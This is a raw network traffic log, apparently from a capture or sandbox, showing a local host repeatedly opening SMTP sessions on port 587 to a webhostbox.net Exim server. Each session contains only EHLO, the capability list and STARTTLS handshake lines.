Jan 3, 2025 09:51:08.470333099 CET	587	50019	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:08.472482920 CET	50019	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:08.623117924 CET	587	50019	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:12.157396078 CET	587	50021	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:12 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:12.157566071 CET	50021	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:12.734368086 CET	587	50022	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:12 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:12.734548092 CET	50022	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:12.880764961 CET	587	50022	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:12.880953074 CET	50022	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:13.028126955 CET	587	50022	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:16.137931108 CET	587	50023	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:16 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:16.138076067 CET	50023	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:16.288398981 CET	587	50023	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:16.288568020 CET	50023	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:16.439471960 CET	587	50023	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:19.206996918 CET	587	50024	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:19 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:19.207114935 CET	50024	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:19.353130102 CET	587	50024	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:19.353418112 CET	50024	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:19.502058029 CET	587	50024	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:23.110193014 CET	587	50025	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:22 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:23.110328913 CET	50025	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:23.256565094 CET	587	50025	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:23.256745100 CET	50025	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:23.403721094 CET	587	50025	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:26.869607925 CET	587	50026	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:26 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:26.869806051 CET	50026	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:27.603071928 CET	587	50027	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:27 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:27.604507923 CET	50027	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:27.755995035 CET	587	50027	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:27.756198883 CET	50027	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:27.908657074 CET	587	50027	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:30.815475941 CET	587	50028	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:30 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:30.815598965 CET	50028	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:30.961529016 CET	587	50028	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:30.961684942 CET	50028	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:31.108414888 CET	587	50028	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:33.813133955 CET	587	50029	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:33 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:33.813719034 CET	50029	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:33.965140104 CET	587	50029	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:33.966563940 CET	50029	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:34.118309975 CET	587	50029	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:37.848728895 CET	587	50030	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:37 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:37.852746010 CET	50030	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:38.004456997 CET	587	50030	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:38.008805037 CET	50030	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:38.161606073 CET	587	50030	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:39.322983027 CET	587	50031	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:39 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:39.323160887 CET	50031	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:39.473809958 CET	587	50031	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:39.474030972 CET	50031	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:39.626089096 CET	587	50031	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:47.286485910 CET	587	50032	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:47 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:47.286618948 CET	50032	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:47.432838917 CET	587	50032	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:47.433074951 CET	50032	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:47.580137968 CET	587	50032	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:48.166548014 CET	587	50033	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:48 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:48.166785955 CET	50033	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:48.315757036 CET	587	50033	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:48.315923929 CET	50033	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:48.466420889 CET	587	50033	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:50.813690901 CET	587	50034	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:50 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:50.813841105 CET	50034	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:50.963733912 CET	587	50034	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:50.963886976 CET	50034	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:51.114996910 CET	587	50034	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:51.843810081 CET	587	50036	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:51 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:51.853715897 CET	50036	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:52.001602888 CET	587	50036	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:52.015096903 CET	50036	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:52.172005892 CET	587	50036	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:58.033663988 CET	587	50037	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:57 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:58.033920050 CET	50037	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:58.183624983 CET	587	50037	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:58.184683084 CET	50037	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:58.335205078 CET	587	50037	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:59.922391891 CET	587	50038	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:59 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:59.925828934 CET	50038	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:00.077398062 CET	587	50038	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:00.080691099 CET	50038	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:00.231586933 CET	587	50038	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:02.936289072 CET	587	50039	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:02 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:02.936450005 CET	50039	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:03.086185932 CET	587	50039	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:03.086420059 CET	50039	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:03.236447096 CET	587	50039	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:05.446013927 CET	587	50040	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:05 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:05.446206093 CET	50040	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:05.594094038 CET	587	50040	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:05.594259024 CET	50040	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:05.743007898 CET	587	50040	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:08.942553997 CET	587	50041	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:08 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:08.942713976 CET	50041	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:09.088588953 CET	587	50041	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:09.088759899 CET	50041	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:09.236792088 CET	587	50041	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:11.902400970 CET	587	50042	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:11 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:11.904666901 CET	50042	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:12.050607920 CET	587	50042	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:12.050846100 CET	50042	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:12.197386026 CET	587	50042	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:15.246123075 CET	587	50043	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:15 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:15.246265888 CET	50043	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:15.395849943 CET	587	50043	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:15.395999908 CET	50043	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:15.546190977 CET	587	50043	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:19.288222075 CET	587	50044	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:19 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:19.288391113 CET	50044	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:19.439286947 CET	587	50044	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:19.439443111 CET	50044	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:19.591068029 CET	587	50044	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:23.289037943 CET	587	50045	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:23 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:23.289247036 CET	50045	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:23.439881086 CET	587	50045	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:23.440053940 CET	50045	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:23.590686083 CET	587	50045	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:27.086095095 CET	587	50046	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:26 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:27.086291075 CET	50046	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:27.233553886 CET	587	50046	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:27.233726025 CET	50046	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:27.381139994 CET	587	50046	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:30.844957113 CET	587	50047	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:30 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:30.845081091 CET	50047	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:30.990622997 CET	587	50047	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:30.990762949 CET	50047	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:31.137634993 CET	587	50047	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:34.225075006 CET	587	50049	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:34 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:34.225235939 CET	50049	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:34.370712996 CET	587	50049	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:34.370918989 CET	50049	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:34.517735958 CET	587	50049	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:36.113801956 CET	587	50050	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:36 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:36.116906881 CET	50050	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:36.268651009 CET	587	50050	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:36.268835068 CET	50050	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:36.421544075 CET	587	50050	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:40.136955023 CET	587	50051	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:40 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:40.137120962 CET	50051	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:40.283205986 CET	587	50051	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:40.286672115 CET	50051	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:40.433439970 CET	587	50051	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:42.176693916 CET	587	50052	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:42 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:42.177994967 CET	50052	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:42.324124098 CET	587	50052	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:42.324877024 CET	50052	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:42.472071886 CET	587	50052	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:44.622983932 CET	587	50053	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:44 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:44.623195887 CET	50053	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:44.769414902 CET	587	50053	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:44.769560099 CET	50053	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:44.916857004 CET	587	50053	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:48.142061949 CET	587	50054	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:48 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:48.142240047 CET	50054	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:48.305924892 CET	587	50054	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:48.310695887 CET	50054	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:48.461174011 CET	587	50054	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:51.997035980 CET	587	50055	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:51 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:51.997503996 CET	50055	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:52.146397114 CET	587	50055	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:52.154567957 CET	50055	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:52.305747986 CET	587	50055	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:55.822397947 CET	587	50056	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:55 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:55.825232029 CET	50056	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:52:55.971074104 CET	587	50056	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:52:55.972918987 CET	50056	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:52:56.119668961 CET	587	50056	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:52:57.230453968 CET	587	50057	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:22:57 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:52:57.230603933 CET	50057	587	192.168.2.5	208.91.199.115	EHLO 642294
